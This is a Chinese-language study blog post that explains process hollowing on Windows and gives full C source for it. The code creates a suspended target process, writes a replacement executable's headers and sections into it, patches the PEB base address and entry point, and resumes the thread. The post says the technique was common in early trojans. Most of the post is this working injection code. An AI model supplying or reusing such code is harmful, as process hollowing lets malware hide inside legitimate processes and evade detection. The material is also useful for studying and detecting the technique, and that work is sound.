0x00 环境

主机:Windows 10
IDE:VS 2019 (x86)

0x01 介绍

傀儡进程指将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程。在早期的木马程序中使用较广。实现傀儡进程必须要选择合适的时机,要在目标进程刚加载进内存后还未开始运行之前替换。

0x02 基本步骤

1.使用CreateProcess()函数创建挂起进程
2.使用GetThreadContext()函数获取进程上下文(寄存器状态)
3.清空目标进程(如果傀儡进程的大小必目标进程小的话这部可以省略)
4.VirtualAllocEx()重新分配空间,大小为傀儡进程大小
5.WriteProcessMemory()向分配的空间写入傀儡进程
6.恢复上下文,由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到SetThreadContext函数。将挂起的进程用ResumeThread函数释放运行。

0x03 具体代码

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <malloc.h>

int main(int argc, char* argv[])
{
    STARTUPINFOA stSi = { 0 };
    PROCESS_INFORMATION stPi = { 0 };
    stSi.cb = sizeof(stSi);
    LPCWSTR Filename = (LPCWSTR)L"目标进程完整目录";

    //1.创建挂起的目标进程
    if (!CreateProcess(Filename,
        NULL,
        NULL,
        NULL,
        NULL,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &stSi,
        &stPi
    ))
    {
        printf("%d", GetLastError());
        return FALSE;
    }

    PTCHAR address = L"傀儡进程完整目录";
    HANDLE hFile = CreateFile(address, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
                               NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open EXE File Filed");
        printf("%d", GetLastError());
        return -1;
    }
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPBYTE pAllocPE = NULL; 
    PBYTE pBuf = (PBYTE)malloc(dwSize);
    DWORD dwBytesRead = 0;
    ReadFile(hFile, (LPVOID)pBuf, dwSize, &dwBytesRead, NULL);
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew);


    //2.获取进程上下文
    CONTEXT stThreadContext;
    stThreadContext.ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return FALSE;
    }

    ////3.清空目标进程

    //BOOL UnMapTargetProcess(HANDLE hProcess, CONTEXT * stThreadContext)
    //{
    //    DWORD dwProcessBaseAddr = 0;
    //    if (ReadProcessMemory(stPi.hProcess, (LPCVOID)(stThreadContext.Ebx + 8), &dwProcessBaseAddr, sizeof(PVOID), NULL) == 0)//读取目标进程对应地址
    //    {
    //        return FALSE;
    //    }
    //    HMODULE hNtModule = GetModuleHandle(_T("ntdll.dll"));//获取dll的句柄
    //    if (hNtModule == NULL)
    //    {
    //        return FALSE;
    //    }
    //    //手动寻找NtUnmapViewOfSection()的指针
    //    ZwUnmapViewOfSection  pfnZwUnmapViewOfSection = GetProcAddress(hNtModule, "ZwUnmapViewOfSection");
    //    if (pfnZwUnmapViewOfSection == NULL)
    //    {
    //        return FALSE;
    //    }
    //    return (pfnZwUnmapViewOfSection(stPi.hProcess, (PVOID)dwProcessBaseAddr) == 0);
    //}

    //4.重新分配空间
    void* lpAddr = VirtualAllocEx(stPi.hProcess, (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
        pNtHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);//用Imagebase为起始地址避免了重定位。
    if (lpAddr == NULL)
    {
        printf("VirtualAlloc failed (%d).\n", GetLastError());
        return FALSE;
    }

    //5.写入傀儡进程
        // 替换PE头
    BOOL bRet = WriteProcessMemory(stPi.hProcess,
        lpAddr,
        (LPCVOID)pBuf,//指向要写的数据的指针。
        pNtHeaders->OptionalHeader.SizeOfHeaders,
        NULL);
    if (!bRet)
    {
        return FALSE;
    }
    // 替换节
    LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf
        + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    PIMAGE_SECTION_HEADER pSectionHeader;
    DWORD dwIndex = 0;
    for (; dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
    {
        pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
        bRet = WriteProcessMemory(stPi.hProcess,
            (LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress),
            (LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData),
            pSectionHeader->SizeOfRawData,
            NULL);
        if (!bRet)
        {
            return FALSE;
        }
        lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr + sizeof(IMAGE_SECTION_HEADER));
    }
    //6.恢复现场并运行傀儡进程
        // 替换PEB中基地址
    DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
    bRet = WriteProcessMemory(stPi.hProcess, (LPVOID)(stThreadContext.Ebx + 8), (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
    if (!bRet)
    {
        return FALSE;
    }
    // 替换入口点
    stThreadContext.Eax = dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    bRet = SetThreadContext(stPi.hThread, &stThreadContext);
    if (!bRet)
    {
        return FALSE;
    }
    ResumeThread(stPi.hThread);

    printf("PID: %d", stPi.dwProcessId);
    free(pBuf);
    return 0;
}

0x04 参考链接及反思

本文有参考以下链接文章:
傀儡进程技术实现
常见进程注入的实现及内存dump分析——Process Hollowing(冷注入)

反思:
1.本次学习了一些WIN API,不过对于未文档话的函数NtUnmapViewOfSection调用还是有点问题。
2.创建出来的目标进程的PID在任务管理器中看不到感觉有点奇怪。